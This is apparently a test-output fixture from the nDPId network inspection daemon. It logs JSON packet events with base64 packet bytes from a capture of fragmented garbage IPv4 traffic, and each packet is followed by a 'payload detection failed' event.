+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8071,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301681,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8071,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8072,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301693,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8072,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8073,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301706,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8073,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8074,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301718,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8074,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8075,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301731,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8075,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8076,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301743,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8076,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301757,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8078,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301770,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8078,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8079,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301782,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8079,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8080,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301795,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8080,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8081,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301807,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8081,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8082,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301819,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8082,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8083,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301832,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8083,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8084,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301844,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8084,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8085,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301857,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8085,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8086,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301872,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8086,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8087,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301885,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8087,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8088,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301897,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8088,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8089,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301915,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8089,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8090,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301928,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8090,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8091,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301940,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8091,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8092,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301955,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8092,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8093,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301968,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8093,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8094,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301982,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8094,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8095,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301994,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8095,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8096,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302006,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8096,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8097,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302018,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8097,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8098,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302032,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8098,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8099,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302046,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8099,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8100,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302058,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8100,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8101,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302071,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8101,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8102,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302084,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8102,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8103,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302097,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8103,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8104,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302109,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8104,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8105,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302121,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8105,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8106,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302136,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8106,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8107,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302148,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8107,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8108,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302161,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8108,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8109,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302173,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8109,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8110,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302222,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8110,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8111,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302235,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8111,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8112,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302248,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8112,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 